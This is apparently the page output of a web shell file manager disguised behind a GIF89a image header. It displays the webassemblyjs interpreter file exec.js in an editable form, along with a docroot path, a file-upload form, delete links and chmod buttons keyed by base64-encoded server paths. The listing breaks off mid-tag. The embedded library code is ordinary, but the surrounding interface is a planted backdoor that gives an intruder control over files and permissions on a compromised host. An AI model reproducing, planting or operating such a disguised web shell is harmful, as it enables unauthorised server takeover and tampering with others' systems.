GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>exec.js<form method=post action="?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs&f=ZXhlYy5qcw%3D%3D"><input name="f" value="exec.js"><textarea name="t">&quot;use strict&quot;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
  value: true
});
exports.executeStackFrame = executeStackFrame;

var _long = _interopRequireDefault(require(&quot;@xtuc/long&quot;));

var _memory2 = require(&quot;../runtime/values/memory&quot;);

var _errors = require(&quot;../../errors&quot;);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { &quot;default&quot;: obj }; }

function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError(&quot;Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.&quot;); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === &quot;string&quot;) return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === &quot;Object&quot; &amp;&amp; o.constructor) n = o.constructor.name; if (n === &quot;Map&quot; || n === &quot;Set&quot;) return Array.from(o); if (n === &quot;Arguments&quot; || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len &gt; arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i &lt; len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { var _i = arr == null ? null : typeof Symbol !== &quot;undefined&quot; &amp;&amp; arr[Symbol.iterator] || arr[&quot;@@iterator&quot;]; if (_i == null) return; var _arr = []; var _n = true; var _d = false; var _s, _e; try { for (_i = _i.call(arr); !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i &amp;&amp; _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n &amp;&amp; _i[&quot;return&quot;] != null) _i[&quot;return&quot;](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

function _typeof(obj) { &quot;@babel/helpers - typeof&quot;; return _typeof = &quot;function&quot; == typeof Symbol &amp;&amp; &quot;symbol&quot; == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj &amp;&amp; &quot;function&quot; == typeof Symbol &amp;&amp; obj.constructor === Symbol &amp;&amp; obj !== Symbol.prototype ? &quot;symbol&quot; : typeof obj; }, _typeof(obj); }

var _require = require(&quot;./instruction/binop&quot;),
    binopi32 = _require.binopi32,
    binopi64 = _require.binopi64,
    binopf32 = _require.binopf32,
    binopf64 = _require.binopf64;

var _require2 = require(&quot;./instruction/unop&quot;),
    unopi32 = _require2.unopi32,
    unopi64 = _require2.unopi64,
    unopf32 = _require2.unopf32,
    unopf64 = _require2.unopf64;

var _require3 = require(&quot;../runtime/castIntoStackLocalOfType&quot;),
    castIntoStackLocalOfType = _require3.castIntoStackLocalOfType;

var i32 = require(&quot;../runtime/values/i32&quot;);

var i64 = require(&quot;../runtime/values/i64&quot;);

var f32 = require(&quot;../runtime/values/f32&quot;);

var f64 = require(&quot;../runtime/values/f64&quot;);

var label = require(&quot;../runtime/values/label&quot;);

var _require4 = require(&quot;./signals&quot;),
    createTrap = _require4.createTrap;

var _require5 = require(&quot;./instruction/comparison&quot;),
    compare = _require5.compare;

function executeStackFrame(_ref, offset, firstFrame) {
  var program = _ref.program;

  if (!(_typeof(program) === &quot;object&quot;)) {
    throw new _errors.RuntimeError('typeof program === &quot;object&quot;' + &quot; error: &quot; + (undefined || &quot;unknown&quot;));
  }

  var callStack = [firstFrame]; // because it's used a macros
  // eslint-disable-next-line prefer-const

  var framepointer = 0;

  function getLocalByIndex(frame, index) {
    var local = frame.locals[index];

    if (typeof local === &quot;undefined&quot;) {
      throw newRuntimeError(&quot;Assertion error: no local value at index &quot; + index);
    }

    frame.values.push(local);
  }

  function setLocalByIndex(frame, index, value) {
    if (!(typeof index === &quot;number&quot;)) {
      throw new _errors.RuntimeError('typeof index === &quot;number&quot;' + &quot; error: &quot; + (undefined || &quot;unknown&quot;));
    }

    frame.locals[index] = value;
  }

  function pushResult(frame, res) {
    if (typeof res === &quot;undefined&quot;) {
      return;
    }

    frame.values.push(res);
  }

  function popArrayOfValTypes(frame, types) {
    if (frame.values.length &lt; types.length) {
      throw new _errors.RuntimeError(&quot;Assertion error: expected &quot; + JSON.stringify(types.length) + &quot; on the stack, found &quot; + frame.values.length);
    }

    return types.map(function (type) {
      return pop1OfType(frame, type);
    });
  }

  function valueTypeEq(l, r) {
    // compatibility with our parser
    if (l === &quot;u32&quot;) {
      l = &quot;i32&quot;;
    }

    if (l === &quot;u64&quot;) {
      l = &quot;i64&quot;;
    }

    if (r === &quot;u32&quot;) {
      r = &quot;i32&quot;;
    }

    if (r === &quot;u64&quot;) {
      r = &quot;i64&quot;;
    }

    return l === r;
  }

  function pop1OfType(frame, type) {
    if (frame.values.length &lt; 1) {
      throw new _errors.RuntimeError(&quot;Assertion error: expected &quot; + JSON.stringify(1) + &quot; on the stack, found &quot; + frame.values.length);
    }

    var v = frame.values.pop();

    if (typeof type === &quot;string&quot; &amp;&amp; valueTypeEq(v.type, type) === false) {
      throw newRuntimeError(&quot;Internal failure: expected value of type &quot; + type + &quot; on top of the stack, type given: &quot; + v.type);
    }

    return v;
  }

  function pop1(frame) {
    if (frame.values.length &lt; 1) {
      throw new _errors.RuntimeError(&quot;Assertion error: expected &quot; + JSON.stringify(1) + &quot; on the stack, found &quot; + frame.values.length);
    }

    return frame.values.pop();
  }

  function pop2(frame, type1, type2) {
    if (frame.values.length &lt; 2) {
      throw new _errors.RuntimeError(&quot;Assertion error: expected &quot; + JSON.stringify(2) + &quot; on the stack, found &quot; + frame.values.length);
    }

    var c2 = frame.values.pop();
    var c1 = frame.values.pop();

    if (valueTypeEq(c2.type, type2) === false) {
      throw newRuntimeError(&quot;Internal failure: expected c2 value of type &quot; + type2 + &quot; on top of the stack, given type: &quot; + c2.type);
    }

    if (valueTypeEq(c1.type, type1) === false) {
      throw newRuntimeError(&quot;Internal failure: expected c1 value of type &quot; + type1 + &quot; on top of the stack, given type: &quot; + c1.type);
    }

    return [c1, c2];
  }

  function getMemoryOffset(frame, instruction) {
    if (instruction.namedArgs &amp;&amp; instruction.namedArgs.offset) {
      // $FlowIgnore
      var _offset = instruction.namedArgs.offset.value;

      if (_offset &lt; 0) {
        throw newRuntimeError(&quot;offset must be positive&quot;);
      }

      if (_offset &gt; 0xffffffff) {
        throw newRuntimeError(&quot;offset must be less than or equal to 0xffffffff&quot;);
      }

      return _offset;
    } else {
      return 0;
    }
  }

  function getMemory(frame) {
    if (frame.originatingModule.memaddrs.length !== 1) {
      throw newRuntimeError(&quot;unknown memory&quot;);
    }

    var memAddr = frame.originatingModule.memaddrs[0];
    return frame.allocator.get(memAddr);
  }

  function newRuntimeError(msg) {
    return new _errors.RuntimeError(msg);
  }

  function getActiveStackFrame() {
    if (!(framepointer &gt; -1)) {
      throw new _errors.RuntimeError('framepointer &gt; -1' + &quot; error: &quot; + (&quot;call stack underflow&quot; || &quot;unknown&quot;));
    }

    var frame = callStack[framepointer];

    if (!(frame !== undefined)) {
      throw new _errors.RuntimeError('frame !== undefined' + &quot; error: &quot; + (&quot;no frame at &quot; + framepointer || &quot;unknown&quot;));
    }

    return frame;
  }

  var offsets = Object.keys(program);
  var pc = offsets.indexOf(String(offset));

  while (true) {
    var frame = getActiveStackFrame();
    var instruction = program[parseInt(offsets[pc])];

    if (!(instruction !== undefined)) {
      throw new _errors.RuntimeError('instruction !== undefined' + &quot; error: &quot; + (&quot;no instruction at pc &quot;.concat(pc, &quot; in frame &quot;).concat(framepointer) || &quot;unknown&quot;));
    }

    if (typeof frame.trace === &quot;function&quot;) {
      frame.trace(framepointer, pc, instruction, frame);
    }

    pc++;

    switch (instruction.type) {
      // $FlowIgnore
      case &quot;InternalEndAndReturn&quot;:
        {
          if (frame.returnAddress !== -1) {
            pc = frame.returnAddress; // raw goto

            var activeFrame = getActiveStackFrame(); // pass the result of the previous call into the new active fame

            var res = void 0;

            if (activeFrame.values.length &gt; 0) {
              res = pop1(activeFrame);
            } // Pop active frame from the stack


            callStack.pop();
            framepointer--;
            var newStackFrame = getActiveStackFrame();

            if (res !== undefined &amp;&amp; newStackFrame !== undefined) {
              pushResult(newStackFrame, res);
            }

            break;
          } else {
            var activeFrame = getActiveStackFrame();

            if (activeFrame.values.length &gt; 0) {
              return pop1(activeFrame);
            } else {
              return;
            }
          }
        }
      // $FlowIgnore

      case &quot;InternalGoto&quot;:
        {
          var target = instruction.target;
          pc = offsets.indexOf(String(target));
          break;
        }
      // $FlowIgnore

      case &quot;InternalCallExtern&quot;:
        {
          var _target = instruction.target; // 2. Assert: due to validation, F.module.funcaddrs[x] exists.

          var funcaddr = frame.originatingModule.funcaddrs[_target];

          if (typeof funcaddr === &quot;undefined&quot;) {
            throw newRuntimeError(&quot;No function was found in module at address &quot;.concat(_target));
          } // 3. Let a be the function address F.module.funcaddrs[x]


          var subroutine = frame.allocator.get(funcaddr);

          if (_typeof(subroutine) !== &quot;object&quot;) {
            throw newRuntimeError(&quot;Cannot call function at address &quot;.concat(funcaddr, &quot;: not a function&quot;));
          } // 4. Invoke the function instance at address a
          // FIXME(sven): assert that res has type of resultType


          var _subroutine$type = _slicedToArray(subroutine.type, 2),
              argTypes = _subroutine$type[0],
              resultType = _subroutine$type[1];

          var args = popArrayOfValTypes(frame, argTypes);

          if (!subroutine.isExternal) {
            throw new _errors.RuntimeError('subroutine.isExternal' + &quot; error: &quot; + (undefined || &quot;unknown&quot;));
          }

          var _res = subroutine.code(args.map(function (arg) {
            return arg.value;
          }));

          if (typeof _res !== &quot;undefined&quot;) {
            pushResult(frame, castIntoStackLocalOfType(resultType, _res));
          }

          break;
        }
    }

    switch (instruction.id) {
      case &quot;const&quot;:
        {
          // https://webassembly.github.io/spec/core/exec/instructions.html#exec-const
          // $FlowIgnore
          var n = instruction.args[0];

          if (typeof n === &quot;undefined&quot;) {
            throw newRuntimeError(&quot;const requires one argument, none given.&quot;);
          }

          if (n.type !== &quot;NumberLiteral&quot; &amp;&amp; n.type !== &quot;LongNumberLiteral&quot; &amp;&amp; n.type !== &quot;FloatLiteral&quot;) {
            throw newRuntimeError(&quot;const: unsupported value of type: &quot; + n.type);
          }

          pushResult(frame, // $FlowIgnore
          castIntoStackLocalOfType(instruction.object, n.value));
          break;
        }

      /**
       * Control Instructions
       *
       * https://webassembly.github.io/spec/core/exec/instructions.html#control-instructions
       */

      case &quot;nop&quot;:
        {
          // Do nothing
          // https://webassembly.github.io/spec/core/exec/instructions.html#exec-nop
          break;
        }

      case &quot;drop&quot;:
        {
          // https://webassembly.github.io/spec/core/exec/instructions.html#exec-drop
          // 1. Assert: due to validation, a value is on the top of the stack.
          if (frame.values.length &lt; 1) {
            throw new _errors.RuntimeError(&quot;Assertion error: expected &quot; + JSON.stringify(1) + &quot; on the stack, found &quot; + frame.values.length);
          }

          // 2. Pop the value valval from the stack.
          pop1(frame);
          break;
        }

      case &quot;call&quot;:
        {
          // FIXME(sven): check spec compliancy
          // $FlowIgnore
          var index = instruction.index.value;

          var stackframe = require(&quot;./stackframe&quot;);

          var activeFrame = getActiveStackFrame();
          var newStackFrame = stackframe.createChildStackFrame(activeFrame, pc); // move active frame

          framepointer++;

          if (framepointer &gt;= 300) {
            throw new _errors.RuntimeError(&quot;Maximum call stack depth reached&quot;);
          } // Push the frame on top of the stack


          callStack[framepointer] = newStackFrame;
          pc = offsets.indexOf(String(index));
          break;
        }

      case &quot;end&quot;:
        {
          // 3. Assert: due to validation, the label L is now on the top of the stack.
          // 4. Pop the label from the stack.
          var found = false;
          var index = frame.values.slice(0).reverse().findIndex(function (_ref2) {
            var type = _ref2.type;
            return type === &quot;label&quot;;
          }); // some expression like inittializer don't have labels currently, so this is
          // guarantee to fail
          // assertRuntimeError(index !== -1, &quot;POP_LABEL: label not found&quot;)

          if (index !== -1) {
            var initialOrderIndex = frame.values.length - 1 - index;
            frame.values.splice(initialOrderIndex, 1);
          }

          break;
        }

      case &quot;loop&quot;:
      case &quot;block&quot;:
        {
          // https://webassembly.github.io/spec/core/exec/instructions.html#blocks
          // FIXME(sven): check spec compliancy
          var block = instruction; // 2. Enter the block instr with label

          frame.labels.push({
            value: block,
            arity: 0,
            // $FlowIgnore
            id: block.label
          }); // $FlowIgnore

          pushResult(frame, label.createValue(block.label.value)); // $FlowIgnore

          break;
        }

      case &quot;br&quot;:
        {
          // FIXME(sven): check spec compliancy
          // $FlowIgnore
          var _label = instruction.args[0]; // $FlowIgnore

          pc = offsets.indexOf(String(_label.value));
          break;
        }

      case &quot;br_if&quot;:
        {
          // $FlowIgnore
          var _label2 = instruction.args[0]; // 1. Assert: due to validation, a value of type i32 is on the top of the stack.
          // 2. Pop the value ci32.const c from the stack.

          var c = pop1OfType(frame, &quot;i32&quot;);

          if (c.value.eqz().isTrue() === false) {
            // 3. If c is non-zero, then
            // 3. a. Execute the instruction (br l).
            // $FlowIgnore
            pc = offsets.indexOf(String(_label2.value));
          } else {// 4. Else:
            // 4. a. Do nothing.
          }

          break;
        }

      /**
       * Administrative Instructions
       *
       * https://webassembly.github.io/spec/core/exec/runtime.html#administrative-instructions
       */

      case &quot;unreachable&quot;: // https://webassembly.github.io/spec/core/exec/instructions.html#exec-unreachable

      case &quot;trap&quot;:
        {
          // signalling abrupt termination
          // https://webassembly.github.io/spec/core/exec/runtime.html#syntax-trap
          throw createTrap();
        }

      case &quot;local&quot;:
        {
          // $FlowIgnore
          var _instruction$args = _slicedToArray(instruction.args, 1),
              valtype = _instruction$args[0];

          if (valtype.name === &quot;i64&quot;) {
            var init = castIntoStackLocalOfType(valtype.name, new _long[&quot;default&quot;](0, 0));
            frame.locals.push(init);
          } else {
            // $FlowIgnore
            var _init = castIntoStackLocalOfType(valtype.name, 0);

            frame.locals.push(_init);
          } // $FlowIgnore


          break;
        }

      /**
       * Memory Instructions
       *
       * https://webassembly.github.io/spec/core/exec/instructions.html#memory-instructions
       */

      case &quot;get_local&quot;:
        {
          // https://webassembly.github.io/spec/core/exec/instructions.html#exec-get-local
          // $FlowIgnore
          var _index = instruction.args[0];

          if (typeof _index === &quot;undefined&quot;) {
            throw newRuntimeError(&quot;get_local requires one argument, none given.&quot;);
          }

          if (_index.type === &quot;NumberLiteral&quot; || _index.type === &quot;FloatLiteral&quot;) {
            getLocalByIndex(frame, _index.value);
          } else {
            throw newRuntimeError(&quot;get_local: unsupported index of type: &quot; + _index.type);
          }

          break;
        }

      case &quot;set_local&quot;:
        {
          // https://webassembly.github.io/spec/core/exec/instructions.html#exec-set-local
          // $FlowIgnore
          var _index2 = instruction.args[0];

          if (_index2.type === &quot;NumberLiteral&quot;) {
            // WASM
            // 4. Pop the value val from the stack
            var val = pop1(frame); // 5. Replace F.locals[x] with the value val

            setLocalByIndex(frame, _index2.value, val);
          } else {
            throw newRuntimeError(&quot;set_local: unsupported index of type: &quot; + _index2.type);
          }

          break;
        }

      case &quot;tee_local&quot;:
        {
          // https://webassembly.github.io/spec/core/exec/instructions.html#exec-tee-local
          // $FlowIgnore
          var _index3 = instruction.args[0];

          if (_index3.type === &quot;NumberLiteral&quot;) {
            // 1. Assert: due to validation, a value is on the top of the stack.
            // 2. Pop the value val from the stack.
            var _val = pop1(frame); // 3. Push the value valval to the stack.


            pushResult(frame, _val); // 4. Push the value valval to the stack.

            pushResult(frame, _val); // 5. Execute the instruction (set_local x).
            // 5. 4. Pop the value val from the stack

            var val2 = pop1(frame); // 5. 5. Replace F.locals[x] with the value val

            setLocalByIndex(frame, _index3.value, val2);
          } else {
            throw newRuntimeError(&quot;tee_local: unsupported index of type: &quot; + _index3.type);
          }

          break;
        }

      case &quot;set_global&quot;:
        {
          // https://webassembly.github.io/spec/core/exec/instructions.html#exec-set-global
          // $FlowIgnore
          var _index4 = instruction.args[0]; // 2. Assert: due to validation, F.module.globaladdrs[x] exists.
          // $FlowIgnore

          var globaladdr = frame.originatingModule.globaladdrs[_index4.value];

          if (typeof globaladdr === &quot;undefined&quot;) {
            // $FlowIgnore
            throw newRuntimeError(&quot;Global address &quot;.concat(_index4.value, &quot; not found&quot;));
          } // 4. Assert: due to validation, S.globals[a] exists.


          var globalinst = frame.allocator.get(globaladdr);

          if (_typeof(globalinst) !== &quot;object&quot;) {
            throw newRuntimeError(&quot;Unexpected data for global at &quot;.concat(globaladdr.toString()));
          } // 7. Pop the value val from the stack.


          var _val2 = pop1(frame); // 8. Replace glob.value with the value val.


          globalinst.value = _val2.value;
          frame.allocator.set(globaladdr, globalinst);
          break;
        }

      case &quot;get_global&quot;:
        {
          // https://webassembly.github.io/spec/core/exec/instructions.html#exec-get-global
          // $FlowIgnore
          var _index5 = instruction.args[0]; // 2. Assert: due to validation, F.module.globaladdrs[x] exists.
          // $FlowIgnore

          var _globaladdr = frame.originatingModule.globaladdrs[_index5.value];

          if (typeof _globaladdr === &quot;undefined&quot;) {
            throw newRuntimeError( // $FlowIgnore
            &quot;Unknown global at index: &quot;.concat(_index5.value.toString()));
          } // 4. Assert: due to validation, S.globals[a] exists.


          var _globalinst = frame.allocator.get(_globaladdr);

          if (_typeof(_globalinst) !== &quot;object&quot;) {
            throw newRuntimeError(&quot;Unexpected data for global at &quot;.concat(_globaladdr.toString()));
          } // 7. Pop the value val from the stack.


          pushResult(frame, _globalinst);
          break;
        }

      /**
       * Memory operations
       */
      // https://webassembly.github.io/spec/core/exec/instructions.html#exec-storen

      case &quot;store&quot;:
      case &quot;store8&quot;:
      case &quot;store16&quot;:
      case &quot;store32&quot;:
        {
          // $FlowIgnore
          var id = instruction.id,
              object = instruction.object;
          var memory = getMemory(frame); // $FlowIgnore

          var _pop = pop2(frame, &quot;i32&quot;, object),
              _pop2 = _slicedToArray(_pop, 2),
              c1 = _pop2[0],
              c2 = _pop2[1];

          var ptr = c1.value.toNumber() + getMemoryOffset(frame, instruction);
          var valueBuffer = c2.value.toByteArray();

          switch (id) {
            case &quot;store&quot;:
              break;

            case &quot;store8&quot;:
              valueBuffer = valueBuffer.slice(0, 1);
              break;

            case &quot;store16&quot;:
              valueBuffer = valueBuffer.slice(0, 2);
              break;

            case &quot;store32&quot;:
              valueBuffer = valueBuffer.slice(0, 4);
              break;

            default:
              throw newRuntimeError(&quot;illegal operation: &quot; + id);
          }

          if (ptr + valueBuffer.length &gt; memory.buffer.byteLength) {
            throw newRuntimeError(&quot;memory access out of bounds&quot;);
          }

          var memoryBuffer = new Uint8Array(memory.buffer); // load / store use little-endian order

          for (var ptrOffset = 0; ptrOffset &lt; valueBuffer.length; ptrOffset++) {
            memoryBuffer[ptr + ptrOffset] = valueBuffer[ptrOffset];
          }

          break;
        }
      // https://webassembly.github.io/spec/core/exec/instructions.html#and

      case &quot;load&quot;:
      case &quot;load16_s&quot;:
      case &quot;load16_u&quot;:
      case &quot;load8_s&quot;:
      case &quot;load8_u&quot;:
      case &quot;load32_s&quot;:
      case &quot;load32_u&quot;:
        {
          // $FlowIgnore
          var _id = instruction.id,
              _object = instruction.object;

          var _memory = getMemory(frame);

          var _ptr = pop1OfType(frame, &quot;i32&quot;).value.toNumber() + getMemoryOffset(frame, instruction); // for i32 / i64 ops, handle extended load


          var extend = 0; // for i64 values, increase the bitshift by 4 bytes

          var extendOffset = _object === &quot;i32&quot; ? 0 : 32;
          var signed = false;

          switch (_id) {
            case &quot;load16_s&quot;:
              extend = 16 + extendOffset;
              signed = true;
              break;

            case &quot;load16_u&quot;:
              extend = 16 + extendOffset;
              signed = false;
              break;

            case &quot;load8_s&quot;:
              extend = 24 + extendOffset;
              signed = true;
              break;

            case &quot;load8_u&quot;:
              extend = 24 + extendOffset;
              signed = false;
              break;

            case &quot;load32_u&quot;:
              extend = 0 + extendOffset;
              signed = false;
              break;

            case &quot;load32_s&quot;:
              extend = 0 + extendOffset;
              signed = true;
              break;
          } // check for memory access out of bounds


          switch (_object) {
            case &quot;u32&quot;:
            case &quot;i32&quot;:
            case &quot;f32&quot;:
              {
                if (_ptr + 4 &gt; _memory.buffer.byteLength) {
                  throw newRuntimeError(&quot;memory access out of bounds&quot;);
                }

                break;
              }

            case &quot;i64&quot;:
            case &quot;f64&quot;:
              {
                if (_ptr + 8 &gt; _memory.buffer.byteLength) {
                  throw newRuntimeError(&quot;memory access out of bounds&quot;);
                }

                break;
              }

            default:
              // $FlowIgnore
              throw new _errors.RuntimeError(&quot;Unsupported &quot; + _object + &quot; load&quot;);
          }

          switch (_object) {
            case &quot;i32&quot;:
            case &quot;u32&quot;:
              pushResult(frame, i32.createValueFromArrayBuffer(_memory.buffer, _ptr, extend, signed));
              break;

            case &quot;i64&quot;:
              pushResult(frame, i64.createValueFromArrayBuffer(_memory.buffer, _ptr, extend, signed));
              break;

            case &quot;f32&quot;:
              pushResult(frame, f32.createValueFromArrayBuffer(_memory.buffer, _ptr));
              break;

            case &quot;f64&quot;:
              pushResult(frame, f64.createValueFromArrayBuffer(_memory.buffer, _ptr));
              break;

            default:
              throw new _errors.RuntimeError(&quot;Unsupported &quot; + _object + &quot; load&quot;);
          }

          break;
        }

      /**
       * Binary operations
       */

      case &quot;add&quot;:
      case &quot;mul&quot;:
      case &quot;sub&quot;:
      /**
       * There are two seperated operation for both signed and unsigned integer,
       * but since the host environment will handle that, we don't have too :)
       */

      case &quot;div_s&quot;:
      case &quot;div_u&quot;:
      case &quot;rem_s&quot;:
      case &quot;rem_u&quot;:
      case &quot;shl&quot;:
      case &quot;shr_s&quot;:
      case &quot;shr_u&quot;:
      case &quot;rotl&quot;:
      case &quot;rotr&quot;:
      case &quot;div&quot;:
      case &quot;min&quot;:
      case &quot;max&quot;:
      case &quot;copysign&quot;:
      case &quot;or&quot;:
      case &quot;xor&quot;:
      case &quot;and&quot;:
        {
          var binopFn = void 0; // $FlowIgnore

          switch (instruction.object) {
            case &quot;i32&quot;:
              binopFn = binopi32;
              break;

            case &quot;i64&quot;:
              binopFn = binopi64;
              break;

            case &quot;f32&quot;:
              binopFn = binopf32;
              break;

            case &quot;f64&quot;:
              binopFn = binopf64;
              break;

            default:
              throw createTrap(&quot;Unsupported operation &quot; + instruction.id + &quot; on &quot; + // $FlowIgnore
              instruction.object);
          }

          var _pop3 = pop2(frame, instruction.object, instruction.object),
              _pop4 = _slicedToArray(_pop3, 2),
              _c = _pop4[0],
              _c2 = _pop4[1]; // $FlowIgnore


          pushResult(frame, binopFn(_c, _c2, instruction.id));
          break;
        }

      /**
       * Comparison operations
       */

      case &quot;eq&quot;:
      case &quot;ne&quot;:
      case &quot;lt_s&quot;:
      case &quot;lt_u&quot;:
      case &quot;le_s&quot;:
      case &quot;le_u&quot;:
      case &quot;gt&quot;:
      case &quot;gt_s&quot;:
      case &quot;gt_u&quot;:
      case &quot;ge_s&quot;:
      case &quot;ge_u&quot;:
        {
          // $FlowIgnore
          var _pop5 = pop2(frame, instruction.object, instruction.object),
              _pop6 = _slicedToArray(_pop5, 2),
              _c3 = _pop6[0],
              _c4 = _pop6[1]; // $FlowIgnore


          pushResult(frame, compare(_c3, _c4, instruction.id));
          break;
        }

      /**
       * Unary operations
       */

      case &quot;abs&quot;:
      case &quot;neg&quot;:
      case &quot;clz&quot;:
      case &quot;ctz&quot;:
      case &quot;popcnt&quot;:
      case &quot;eqz&quot;:
      case &quot;reinterpret/f32&quot;:
      case &quot;reinterpret/f64&quot;:
        {
          var unopFn = void 0; // for conversion operations, the operand type appears after the forward-slash
          // e.g. with i32.reinterpret/f32, the oprand is f32, and the resultant is i32

          var opType = instruction.id.indexOf(&quot;/&quot;) !== -1 ? // $FlowIgnore
          instruction.id.split(&quot;/&quot;)[1] : // $FlowIgnore
          instruction.object;

          switch (opType) {
            case &quot;i32&quot;:
              unopFn = unopi32;
              break;

            case &quot;i64&quot;:
              unopFn = unopi64;
              break;

            case &quot;f32&quot;:
              unopFn = unopf32;
              break;

            case &quot;f64&quot;:
              unopFn = unopf64;
              break;

            default:
              throw createTrap( // $FlowIgnore
              &quot;Unsupported operation &quot; + instruction.id + &quot; on &quot; + opType);
          }

          var _c5 = pop1OfType(frame, opType); // $FlowIgnore


          pushResult(frame, unopFn(_c5, instruction.id));
          break;
        }

      case &quot;return&quot;:
        {
          if (frame.returnAddress !== -1) {
            pc = frame.returnAddress; // raw goto

            var activeFrame = getActiveStackFrame(); // pass the result of the previous call into the new active fame

            var res = void 0;

            if (activeFrame.values.length &gt; 0) {
              res = pop1(activeFrame);
            } // Pop active frame from the stack


            callStack.pop();
            framepointer--;
            var newStackFrame = getActiveStackFrame();

            if (res !== undefined &amp;&amp; newStackFrame !== undefined) {
              pushResult(newStackFrame, res);
            }
          }

          var activeFrame = getActiveStackFrame();

          if (activeFrame.values.length &gt; 0) {
            return pop1(activeFrame);
          } else {
            return;
          }
        }
    }
  }
}</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/nodejs/webassemblyjs/lib/interpreter/kernel<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXI="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs&x=ZXhlYy5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs&f=ZXhlYy5qcw=="/>exec.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs&f=ZXhlYy5qcw==&c=`+btoa(c):0" value="0644"></td><td>28962</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVsL2luc3RydWN0aW9u"/>instruction</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs&f=aW5zdHJ1Y3Rpb24=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs&x=bWVtb3J5Lmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs&f=bWVtb3J5Lmpz"/>memory.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs&f=bWVtb3J5Lmpz&c=`+btoa(c):0" value="0644"></td><td>788</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs&x=c2lnbmFscy5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs&f=c2lnbmFscy5qcw=="/>signals.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd2ViYXNzZW1ibHlqcy9saWIvaW50ZXJwcmV0ZXIva2VybmVs&f=c2lnbmFscy5qcw==&c=`+btoa(c):0" 